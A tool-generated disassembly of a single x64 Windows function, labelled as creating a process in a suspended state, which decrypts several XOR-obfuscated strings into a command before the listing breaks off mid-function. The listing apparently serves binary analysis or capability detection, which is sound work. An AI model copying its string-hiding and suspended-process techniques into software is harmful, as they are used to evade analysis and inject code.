Function at 0x140004b00
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x398]
sub rsp, 0x498
mov rax, qword [0x1400bb190]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov r13, r9
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], rdx
mov r14, rcx
mov qword [rbp - 0x40], rcx
mov qword [rbp + 0xb0], rdx
mov qword [rbp + 0xb8], r8
mov qword [rbp + 0xc0], r9
mov rax, qword [rbp + 0x400]
mov qword [rbp - 0x48], rax
mov qword [rbp + 0xc8], rax
xor r12d, r12d
mov dword [rbp - 0x50], r12d
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x14009f660]
mov dword [rbp + 0x1b0], 0xad46dd34
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x51c
mov eax, dword [rcx + rdi]
mov ebx, 0x298
add rbx, rdi
test al, 1
jne 0x140004bfd
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x15], 1
lea rax, [rbx + 0x14]
lea rcx, [rbp + 0x1b4]
cmp rbx, rcx
ja 0x140004be0
lea rcx, [rbp + 0x1a0]
cmp rax, rcx
jb 0x140004be0
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1b0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xa5
jmp 0x140004bf0
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x1b0]
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], 0xa5
lea rcx, [0x14008fc60]
call fcn.14007df40
nop
cmp byte [rbx + 0x15], 0
je 0x140004c5a
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xa5
xor byte [rbx + 2], 0x2f
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xa5
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xa5
xor byte [rbx + 0xa], 0x2f
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xa5
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xdb
xor byte [rbx + 0x10], 0x5d
xor byte [rbx + 0x11], 0xa5
xor byte [rbx + 0x12], 0x2f
xor byte [rbx + 0x13], 0xdf
xor byte [rbx + 0x14], 0xa5
mov byte [rbx + 0x15], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3b0
mov eax, dword [rcx + rdi]
mov edx, 0x250
test al, 1
jne 0x140004cb6
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 9], 0x143
mov dword [rbx], 0xcad2228e
mov dword [rbx + 4], 0x21b4bdce
mov byte [rbx + 8], 0x81
lea rcx, [0x14008fc40]
call fcn.14007df40
nop
jmp 0x140004cba
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xa], 0
je 0x140004ceb
xor byte [rbx], 0xe9
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0xaf
xor byte [rbx + 4], 0x91
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 0xd5
xor byte [rbx + 7], 0x55
xor byte [rbx + 8], 0xe9
xor byte [rbx + 9], 0x43
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140004d04
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x70]
mov rcx, r14
call fcn.140006eb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov r15, r12
mov qword [rbp + 0x120], r12
mov ebx, 0xf
mov qword [rsp + 0x50], rbx
mov qword [rbp + 0x128], rbx
mov byte [rbp + 0x110], r15b
mov dword [rbp - 0x50], 4
cmp byte [rax], 3
jne 0x140006c2a
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x110]
cmp rax, rdx
je 0x140004da1
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140004d82
mov rdx, qword [rdx]
lea rcx, [rbp + 0x110]
call fcn.140008190
mov rbx, qword [rbp + 0x128]
mov qword [rsp + 0x50], rbx
mov r15, qword [rbp + 0x120]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140004ddc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006437
call fcn.14007de64
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea r14, [rbp + 0x110]
mov r12, qword [rbp + 0x110]
cmp rbx, 0x10
cmovae r14, r12
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x140006c70
mov qword [rbp + 0xe8], 0xf
cmp r15, 0x10
jae 0x140004e45
mov qword [rbp + 0xe0], r15
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0xd0], xmm0
jmp 0x140004ed6
mov rax, r15
or rax, 0xf
cmp rax, rbx
ja 0x140004e60
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x140004ea3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006c76
mov rcx, rax
call fcn.14007db00
mov rcx, rax
test rax, rax
je 0x140006437
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004eb1
test rcx, rcx
je 0x140004eaf
call fcn.14007db00
jmp 0x140004eb1
xor eax, eax
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rbx
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.140006cc0
mov rcx, rax
call fcn.140007c70
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140004ee6
mov rdx, rcx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009f1d0]
mov word [rbp + 0x1e0], 0x7aa7
mov ecx, 0x1b4
mov eax, dword [rcx + rdi]
mov edx, 0x3b8
test al, 1
jne 0x140004f80
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x1e2]
cmp rbx, rcx
ja 0x140004f5f
lea rcx, [rbp + 0x1d0]
cmp rax, rcx
jb 0x140004f5f
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e0]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x7d
jmp 0x140004f71
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1e0]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x7d
lea rcx, [0x14008fbe0]
call fcn.14007df40
nop
jmp 0x140004f84
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x140004fd9
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0x1f
xor byte [rbx + 2], 0x7d
xor byte [rbx + 3], 0xa3
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0xf1
xor byte [rbx + 6], 0x4f
xor byte [rbx + 7], 0xfd
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0x1f
xor byte [rbx + 0xa], 0x7d
xor byte [rbx + 0xb], 0xa3
xor byte [rbx + 0xc], 0xbd
xor byte [rbx + 0xd], 0xf1
xor byte [rbx + 0xe], 0x4f
xor byte [rbx + 0xf], 0xfd
xor byte [rbx + 0x10], 0xd3
xor byte [rbx + 0x11], 0x1f
xor byte [rbx + 0x12], 0x7d
mov byte [rbx + 0x13], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140004fe0
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
mov ecx, 0x1f8
mov eax, dword [rcx + rdi]
mov edx, 0x1e8
test al, 1
jne 0x14000503e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 0xc], 0x1091d0e
mov dword [rbx], 0xff2674ed
mov dword [rbx + 4], 0xef6c1a08
mov dword [rbx + 8], 0xfd1364bb
lea rcx, [0x14008fbb0]
call fcn.14007df40
nop
jmp 0x140005042
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x140005087
xor byte [rbx], 0xcd
xor byte [rbx + 1], 0x59
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0x61
xor byte [rbx + 5], 0x79
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 0xcd
xor byte [rbx + 9], 0x59
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0x61
xor byte [rbx + 0xd], 0x79
xor byte [rbx + 0xe], 9
mov byte [rbx + 0xf], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005090
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
mov ecx, 0x1a4
mov eax, dword [rcx + rdi]
mov edx, 0x1c0
test al, 1
jne 0x1400050ed
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov dword [rbx + 0xa], 0x1c569fa
mov dword [rbx], 0x75defa35
mov dword [rbx + 4], 0x4e6fc6ac
mov word [rbx + 8], 0xa367
lea rcx, [0x14008fb90]
call fcn.14007df40
nop
jmp 0x1400050f1
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000512e
xor byte [rbx], 0x15
xor byte [rbx + 1], 0xd7
xor byte [rbx + 2], 0x9b
xor byte [rbx + 3], 5
xor byte [rbx + 4], 0xc5
xor byte [rbx + 5], 0xa5
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x21
xor byte [rbx + 8], 0x15
xor byte [rbx + 9], 0xd7
xor byte [rbx + 0xa], 0x9b
xor byte [rbx + 0xb], 5
xor byte [rbx + 0xc], 0xc5
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140005131
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
mov ecx, 0x1a0
mov eax, dword [rcx + rdi]
mov edx, 0x2b0
test al, 1
jne 0x140005192
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xd], 0x177
mov dword [rbx], 0x613a187b
mov dword [rbx + 4], 0x480014b2
mov dword [rbx + 8], 0x7536473e
mov byte [rbx + 0xc], 0xe6
lea rcx, [0x14008fb70]
call fcn.14007df40
nop
jmp 0x140005196
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x1400051d7
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x11
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x77
xor byte [rbx + 6], 0x75
xor byte [rbx + 7], 0x3b
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x11
xor byte [rbx + 0xc], 0xdb
xor byte [rbx + 0xd], 0x77
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400051f0
mov rdx, rbx
lea rcx, [rbp + 0x60]
call fcn.1400097b0
nop
mov r14, qword [rsp + 0x60]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140005219
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x60]
call fcn.1400082f0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400052b9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400052b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400052f7
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400052f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x30c
mov eax, dword [rdx + rcx]
mov ebx, 0x200
add rbx, rcx
test al, 1
jne 0x140005348
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + 0xd], 0x141
mov dword [rbx], 0x582a0861
mov dword [rbx + 4], 0xe1260945
mov dword [rbx + 8], 0x4322620e
mov byte [rbx + 0xc], 0x2c
lea rcx, [0x14008fb50]
call fcn.14007df40
nop
cmp byte [rbx + 0xe], 0
je 0x140005389
xor byte [rbx], 0x41
xor byte [rbx + 1], 0x25
xor byte [rbx + 2], 0x6b
xor byte [rbx + 3], 0xd
xor byte [rbx + 4], 0x11
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0x79
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x25
xor byte [rbx + 0xa], 0x6b
xor byte [rbx + 0xb], 0xd
xor byte [rbx + 0xc], 0x11
xor byte [rbx + 0xd], 0x41
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400053a0
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.1400097b0
nop
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1400053c5
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rbp + 0x40]
call fcn.1400082f0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005463
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000545d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000545d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400054a1
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000549c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000549c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009f2c0]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x310
mov eax, dword [rdx + rcx]
mov ebx, 0x528
add rbx, rcx
test al, 1
jne 0x14000550c
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x298]
cmp rbx, rcx
ja 0x1400054f8
lea rcx, [rbp + 0x288]
cmp rax, rcx
jb 0x1400054f8
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x27
jmp 0x1400054ff
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x27
lea rcx, [0x14008fb30]
call fcn.14007df40
nop
cmp byte [rbx + 0x11], 0
je 0x140005559
xor byte [rbx], 0x27
xor byte [rbx + 1], 9
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0x6f
xor byte [rbx + 5], 0xe3
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x9d
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 9
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0x6f
xor byte [rbx + 0xd], 0xe3
xor byte [rbx + 0xe], 0x3f
xor byte [rbx + 0xf], 0x9d
xor byte [rbx + 0x10], 0x27
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005570
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.1400097b0
nop
mov rax, qword [rbp - 0x48]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140005598
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x18]
call fcn.1400082f0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005636
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005630
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005630
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140005674
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000566f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000566f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009ebf0]
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x4f4
mov eax, dword [rcx + rdi]
mov ebx, 0x460
add rbx, rdi
test al, 1
jne 0x1400056df
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x280]
cmp rbx, rcx
ja 0x1400056cb
lea rcx, [rbp + 0x270]
cmp rax, rcx
jb 0x1400056cb
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
jmp 0x1400056d2
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
lea rcx, [0x14008fb10]
call fcn.14007df40
nop
cmp byte [rbx + 0x11], 0
je 0x14000572c
xor byte [rbx], 0x33
xor byte [rbx + 1], 5
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x87
xor byte [rbx + 4], 0x21
xor byte [rbx + 5], 9
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x33
xor byte [rbx + 9], 5
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0x87
xor byte [rbx + 0xc], 0x21
xor byte [rbx + 0xd], 9
xor byte [rbx + 0xe], 7
xor byte [rbx + 0xf], 0x31
xor byte [rbx + 0x10], 0x33
mov byte [rbx + 0x11], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140005730
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
mov ecx, 0x1d0
mov eax, dword [rcx + rdi]
mov edx, 0x340
test al, 1
jne 0x140005790
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xb], 0x1e9
mov dword [rbx], 0x9b25d633
mov dword [rbx + 4], 0xcd4946dc
mov word [rbx + 8], 0x992e
mov byte [rbx + 0xa], 0x26
lea rcx, [0x14008faf0]
call fcn.14007df40
nop
jmp 0x140005794
lea rbx, [rdi + rdx]
cmp byte [rbx + 0xc], 0
je 0x1400057cd
xor byte [rbx], 0x13
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x2b
xor byte [rbx + 6], 0x2f
xor byte [rbx + 7], 0xa1
xor byte [rbx + 8], 0x13
xor byte [rbx + 9], 0xfb
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0xe9
mov byte [rbx + 0xc], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x1400057d0
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009fd30]
movdqa xmm1, xmmword [0x14009fdd0]
mov word [rbp + 0x230], 0xaf83
mov ecx, 0x1b0
mov eax, dword [rcx + rdi]
mov edx, 0x3d0
test al, 1
jne 0x14000587a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rbp + 0x232]
cmp rbx, rcx
ja 0x140005855
lea rcx, [rbp + 0x210]
cmp rax, rcx
jb 0x140005855
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x230]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x7b
jmp 0x14000586b
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x230]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x7b
lea rcx, [0x14008fac0]
call fcn.14007df40
nop
jmp 0x14000587e
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x23], 0
je 0x140005917
xor byte [rbx], 0xb1
xor byte [rbx + 1], 0x9d
xor byte [rbx + 2], 0x7b
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x89
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0x8f
xor byte [rbx + 7], 0xcf
xor byte [rbx + 8], 0xb1
xor byte [rbx + 9], 0x9d
xor byte [rbx + 0xa], 0x7b
xor byte [rbx + 0xb], 0x37
xor byte [rbx + 0xc], 0x89
xor byte [rbx + 0xd], 0xfb
xor byte [rbx + 0xe], 0x8f
xor byte [rbx + 0xf], 0xcf
xor byte [rbx + 0x10], 0xb1
xor byte [rbx + 0x11], 0x9d
xor byte [rbx + 0x12], 0x7b
xor byte [rbx + 0x13], 0x37
xor byte [rbx + 0x14], 0x89
xor byte [rbx + 0x15], 0xfb
xor byte [rbx + 0x16], 0x8f
xor byte [rbx + 0x17], 0xcf
xor byte [rbx + 0x18], 0xb1
xor byte [rbx + 0x19], 0x9d
xor byte [rbx + 0x1a], 0x7b
xor byte [rbx + 0x1b], 0x37
xor byte [rbx + 0x1c], 0x89
xor byte [rbx + 0x1d], 0xfb
xor byte [rbx + 0x1e], 0x8f
xor byte [rbx + 0x1f], 0xcf
xor byte [rbx + 0x20], 0xb1
xor byte [rbx + 0x21], 0x9d
xor byte [rbx + 0x22], 0x7b
mov byte [rbx + 0x23], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005920
mov rdx, rbx
lea rcx, [rbp + 0xd0]
call fcn.1400082f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x314], xmm0
movups xmmword [rbp + 0x324], xmm0
movups xmmword [rbp + 0x334], xmm0
movups xmmword [rbp + 0x344], xmm0
movups xmmword [rbp + 0x354], xmm0
movups xmmword [rbp + 0x364], xmm0
mov dword [rbp + 0x374], eax
mov dword [rbp + 0x310], 0x68
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2a4], xmm1
movups xmmword [rbp + 0x2b4], xmm1
movups xmmword [rbp + 0x2c4], xmm1
movups xmmword [rbp + 0x2d4], xmm1
movups xmmword [rbp + 0x2e4], xmm1
movups xmmword [rbp + 0x2f4], xmm1
mov dword [rbp + 0x304], eax
mov dword [rbp + 0x2a0], 0x68
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
movdqa xmm0, xmmword [0x14009edd0]
mov dword [rbp + 0x198], 0xea55a03c
mov dword [rbp + 0x19c], 0x711e25d
mov ecx, 0x448
mov eax, dword [rcx + rdi]
mov edx, 0x2f0
test al, 1
jne 0x140005a59
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x18], 1
lea rax, [rbx + 0x17]
lea rcx, [rbp + 0x19f]
cmp rbx, rcx
ja 0x140005a3a
lea rcx, [rbp + 0x188]
cmp rax, rcx
jb 0x140005a3a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x198]
movsd qword [rbx + 0x10], xmm0
jmp 0x140005a4a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x198]
movsd qword [rbx + 0x10], xmm0
lea rcx, [0x14008faa0]
call fcn.14007df40
nop
jmp 0x140005a5d
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x18], 0
je 0x140005ac6
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xd5
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 0x89
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x87
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xd5
xor byte [rbx + 0xa], 0x3b
xor byte [rbx + 0xb], 0x89
xor byte [rbx + 0xc], 0x35
xor byte [rbx + 0xd], 0x87
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0x5d
xor byte [rbx + 0x11], 0xd5
xor byte [rbx + 0x12], 0x3b
xor byte [rbx + 0x13], 0x89
xor byte [rbx + 0x14], 0x35
xor byte [rbx + 0x15], 0x87
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 7
mov byte [rbx + 0x18], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005ae0
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x18]
mov rcx, qword [rbp - 0x40]
call fcn.140006eb0
cmp byte [rax], 4
jne 0x140006c7c
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140005b4c
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
